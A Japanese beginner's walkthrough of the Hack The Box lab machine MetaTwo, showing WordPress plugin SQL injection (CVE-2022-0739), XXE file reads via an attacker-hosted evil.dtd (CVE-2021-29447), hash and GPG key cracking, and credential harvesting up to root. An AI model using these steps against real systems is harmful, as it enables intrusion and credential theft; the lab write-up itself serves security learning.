始めに
Hack The Box の MetaTwo を攻略していきます.
初心者なのであしからず.
実際には書いてある事以外にも様々な試行錯誤をしましたが, 必要な点だけ抜き出してます.
マシンの情報
- マシン名: MetaTwo
- OS: Linux
- 難易度: Easy
攻略
User まで
nmap
/etc/hosts
に metatwo.htb
を追加して nmap.
$ nmap -sC -sV metatwo.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-04 23:39 JST
Nmap scan report for metatwo.htb (10.10.11.186)
Host is up (0.12s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
| 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=11/4%Time=6365244D%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\
SF:.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cre
SF:ative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative
SF:\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
動いているのは ftp, ssh, http の3つ.
取り合えず web を見てみる.
Web
ブラウザでアクセスすると metapress.htb
にリダイレクトされるのでそれも /etc/hosts
に追加する.トップページにあるリンクを見ると予約フォーム?の様なものあり.
少し怪しそう. 情報を適当に入力して Burp でリクエストをチェックする.
14行目頭の bookingpress というのがプラグインの名前かなという事で悪用できないか調べてみると CVE-2022-0739 が出てくる.
この PoC を使ってみる.
$ python3 booking-press-expl.py -h
- BookingPress PoC
usage: booking-press-expl.py [-h] -u URL -n NONCE
options:
-h, --help show this help message and exit
-u URL, --url URL URL of wordpress server with vulnerable plugin (http://example.domain)
-n NONCE, --nonce NONCE
Nonce that you got as unauthenticated user
nonce はさっきのリクエストの一番最後に書いてあるやつ.
$ python3 booking-press-expl.py -u http://metapress.htb -n 184e3161d4
- BookingPress PoC
-- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1
-- Count of users: 2
|admin|admin@metapress.htb|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|manager@metapress.htb|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|
めでたく刺さり admin
と maneger
のパスワードのハッシュを get.
John The Ripper で crack してみる.
$ cat hash
$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
$ john --wordlist=../wordlist/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (?)
1g 0:00:01:12 7.34% (ETA: 21:36:14) 0.01388g/s 16593p/s 18125c/s 18125C/s tyhill..tyarna
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session aborted
パスワード partylikearockstar
を get. (もう一つは中々出てこないので一旦中断. 多分無理なやつ.)
~/.john/john.pot
を確認するとこれが maneger
の方のパスワードである事が分かる.
さっそく /wp-login.php からログイン.
管理画面が出てくるが admin ではないのでできる事は少ない.
やはり Media が怪しそう.
php をアップロードしてみたが, はじかれてダメ.
何かないかと "wordpress media exploit" とかでググってみるとCVE-2021-29447が出てくる. XXE が出来るらしい. Author 権限ありそうだしバージョンも当てはまってるのでやってみる. 使ったのはこの PoC.
README 通りにやっていく(勿論 Step1 の Run WordPress はいらない). Step3 の echo
コマンド及びファイル CVE-2021-29447/attacker/www/evil.dtd
の中の ip アドレスを自分の物に書き換える事に注意.
すると上手く行って XXE で file が読めるようになる. evil.dtd
の中の resource を色々変えて読んでみる.
-
/etc/passwd
からユーザ名jnelson
が得られる. - http の config ファイルという事で
/etc/nginx/nginx.conf
を見てみるとドキュメントルートが/var/www/metapress.htb/blog
である事が分かる. - その下を掘る.
/var/www/metapress.htb/blog/wp-config.php
を見ると色々 cred が載っており, 特に FTP の credmetapress.htb:9NYS_ii@FyL_p5M2NvJ
を得る.
という事で FTP へ Go!
FTP
上の情報でログイン成功. ls
すると blog
の他に mailer
というディレクトリがある.
その下に send_email.php
というファイルがあり中身を確認すると jnelson
のパスワード Cb4_JmWM8zUZWMu@Ys
が書いてあるのでこれで ssh ログインしてみると成功する.
以上で User を get.
Root
さらに root を進めていく.
ホームディレクトリに .passpie
なるディレクトリがあるので見てみると .passpie/ssh/root.pass
なる明らかに怪しいファイルがある. passpie はパスワードマネージャで, GnuPG でパスワードを暗号化しているようだ.
秘密鍵は .passpie/ssh/.keys
に書いてあるが, パスフレーズを知らないと使えない. そこで再び john に秘密鍵を crack してみてもらう.
$ cat private.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
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
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
$ gpg2john private.asc >hash
File private.asc
$ john --format=gpg -wordlist=../wordlist/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182 (Passpie)
1g 0:00:00:09 DONE (2022-11-06 22:27) 0.1014g/s 16.63p/s 16.63c/s 16.63C/s peanut..blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
無事 crack に成功. パスフレーズは blink182
と判明. そこで取り合えずリモート上で passpie
コマンドを使ってパスワードを得ようとしたものの,
$ passpie export root@ssh
やら
$ passpie copy root@ssh
とやっても何も表示されない. 仕方ないので root.pass
の中の PGP Message を gpg
コマンドを使って直に解読した.
まずさっきの秘密鍵をインポートする.
$ gpg --import private.asc
gpg: key 387775C35745D203: public key "Passpie (Auto-generated by Passpie) <passpie@local>" imported
gpg: key 387775C35745D203: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
次に解読.
$ gpg -d msg.txt
gpg: encrypted with 1024-bit ELG key, ID A23EC25F8B5D831A, created 2022-06-26
"Passpie (Auto-generated by Passpie) <passpie@local>"
p7qfAZt4_A1xo_0x
パスワードは p7qfAZt4_A1xo_0x
.
最後にこれで root ログインしたい訳だが, ssh だとできない(sshd_config
を見ると デフォルトのPermitRootLogin prohibit-password
のままになっている). だが su
を使えばいい.
jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson# id
uid=0(root) gid=0(root) groups=0(root)
以上で root が取れた.
感想
Easy としては少し踏むべき段階が多いと思った.
User は XXE を得るところまでは割とスムーズに行ったがその後どのファイルを読んでいけばよいかで少し詰まってしまった.
Root の方は恥ずかしながら GnuPG の知識が全くなかった為, そこを勉強しつつ攻略したがかなりいい勉強になった.
後は今回用いた CVE 及びその PoC が何をやっているかを確認しないといけない... (元気があればこの Writeup に書き加えたい.)
ではまた!